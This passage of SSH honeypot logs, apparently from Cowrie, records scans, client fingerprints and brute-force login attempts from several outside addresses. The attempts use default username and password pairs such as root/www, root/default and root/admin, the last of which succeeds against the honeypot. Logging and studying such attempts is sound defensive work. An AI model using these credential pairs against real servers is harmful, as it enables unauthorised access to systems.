{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:39.568209Z","src_ip":"183.80.167.41","session":"5ed39722c359","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www","message":"login attempt [root/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:40.331745Z","src_ip":"183.80.167.41","session":"5ed39722c359","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:41.580676Z","src_ip":"183.80.167.41","session":"5ed39722c359","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.80.167.41","src_port":55252,"dst_ip":"159.203.135.109","dst_port":22,"session":"1395b6f2d648","protocol":"ssh","message":"New connection: 183.80.167.41:55252 (159.203.135.109:22) [session: 1395b6f2d648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:41.831628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:41.837254Z","src_ip":"183.80.167.41","session":"1395b6f2d648","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:42.091330Z","src_ip":"183.80.167.41","session":"1395b6f2d648","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"web","message":"login attempt [root/web] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:42.848510Z","src_ip":"183.80.167.41","session":"1395b6f2d648","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:43.829494Z","src_ip":"34.78.132.179","session":"25c9d6abec5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:44.102883Z","src_ip":"183.80.167.41","session":"1395b6f2d648","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.80.167.41","src_port":55262,"dst_ip":"159.203.135.109","dst_port":22,"session":"f277cf2c52bd","protocol":"ssh","message":"New connection: 183.80.167.41:55262 (159.203.135.109:22) [session: f277cf2c52bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:44.358986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:44.364077Z","src_ip":"183.80.167.41","session":"f277cf2c52bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:44.620229Z","src_ip":"183.80.167.41","session":"f277cf2c52bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"default","message":"login attempt [root/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:45.390103Z","src_ip":"183.80.167.41","session":"f277cf2c52bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:46.658281Z","src_ip":"183.80.167.41","session":"f277cf2c52bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.80.167.41","src_port":53488,"dst_ip":"159.203.135.109","dst_port":22,"session":"853281f8fc42","protocol":"ssh","message":"New connection: 183.80.167.41:53488 (159.203.135.109:22) [session: 853281f8fc42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:46.916622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:46.921782Z","src_ip":"183.80.167.41","session":"853281f8fc42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:47.180309Z","src_ip":"183.80.167.41","session":"853281f8fc42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"administrator","message":"login attempt [root/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:47.952853Z","src_ip":"183.80.167.41","session":"853281f8fc42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:49.217071Z","src_ip":"183.80.167.41","session":"853281f8fc42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.80.167.41","src_port":53500,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9c663fc7439","protocol":"ssh","message":"New connection: 183.80.167.41:53500 (159.203.135.109:22) [session: f9c663fc7439]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:49.473664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:49.478512Z","src_ip":"183.80.167.41","session":"f9c663fc7439","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:49.735727Z","src_ip":"183.80.167.41","session":"f9c663fc7439","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:04:50.499779Z","src_ip":"183.80.167.41","session":"f9c663fc7439","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.46.1.73","src_port":33554,"dst_ip":"10.17.0.5","dst_port":22,"session":"de11e429884a","protocol":"ssh","message":"New connection: 189.46.1.73:33554 (10.17.0.5:22) [session: de11e429884a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:05:06.232752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:05:06.237715Z","src_ip":"189.46.1.73","session":"de11e429884a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:05:06.428458Z","src_ip":"189.46.1.73","session":"de11e429884a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"abc123456","message":"login attempt [admin/abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:05:07.129041Z","src_ip":"189.46.1.73","session":"de11e429884a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:05:08.326892Z","src_ip":"189.46.1.73","session":"de11e429884a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.57.124","src_port":39932,"dst_ip":"159.203.135.109","dst_port":22,"session":"f01371853bc4","protocol":"ssh","message":"New connection: 34.140.57.124:39932 (159.203.135.109:22) [session: f01371853bc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:05:15.785247Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:05:15.798007Z","src_ip":"34.140.57.124","session":"f01371853bc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.57.124","src_port":39944,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a4c737ca078","protocol":"ssh","message":"New connection: 34.140.57.124:39944 (159.203.135.109:22) [session: 8a4c737ca078]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:05:16.974355Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:05:17.066005Z","src_ip":"34.140.57.124","session":"8a4c737ca078","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.57.124","src_port":39708,"dst_ip":"159.203.135.109","dst_port":22,"session":"b88310e5b7ec","protocol":"ssh","message":"New connection: 34.140.57.124:39708 (159.203.135.109:22) [session: b88310e5b7ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:05:46.737846Z"}
{"eventid":"cowrie.client.version","version":"SSH-1.5-Nmap-SSH1-Hostkey","message":"Remote SSH version: SSH-1.5-Nmap-SSH1-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:05:46.824269Z","src_ip":"34.140.57.124","session":"b88310e5b7ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:05:46.838797Z","src_ip":"34.140.57.124","session":"b88310e5b7ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.57.124","src_port":39710,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b43ac23401d","protocol":"ssh","message":"New connection: 34.140.57.124:39710 (159.203.135.109:22) [session: 8b43ac23401d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:05:47.055437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:05:47.186006Z","src_ip":"34.140.57.124","session":"8b43ac23401d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-dss"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:05:47.260771Z","src_ip":"34.140.57.124","session":"8b43ac23401d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:05:47.274824Z","src_ip":"34.140.57.124","session":"8b43ac23401d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.57.124","src_port":39726,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb8e3a1d7d11","protocol":"ssh","message":"New connection: 34.140.57.124:39726 (159.203.135.109:22) [session: cb8e3a1d7d11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:05:47.420191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:05:47.507890Z","src_ip":"34.140.57.124","session":"cb8e3a1d7d11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:05:47.582490Z","src_ip":"34.140.57.124","session":"cb8e3a1d7d11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:05:47.823543Z","src_ip":"34.140.57.124","session":"cb8e3a1d7d11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.57.124","src_port":39728,"dst_ip":"159.203.135.109","dst_port":22,"session":"795e5d5e9ea7","protocol":"ssh","message":"New connection: 34.140.57.124:39728 (159.203.135.109:22) [session: 795e5d5e9ea7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:05:47.898339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:05:48.028354Z","src_ip":"34.140.57.124","session":"795e5d5e9ea7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ecdsa-sha2-nistp256"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:05:48.104901Z","src_ip":"34.140.57.124","session":"795e5d5e9ea7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:05:48.342161Z","src_ip":"34.140.57.124","session":"795e5d5e9ea7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.57.124","src_port":39742,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd52d9d6cc57","protocol":"ssh","message":"New connection: 34.140.57.124:39742 (159.203.135.109:22) [session: dd52d9d6cc57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:05:48.418017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:05:48.556357Z","src_ip":"34.140.57.124","session":"dd52d9d6cc57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ecdsa-sha2-nistp384"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 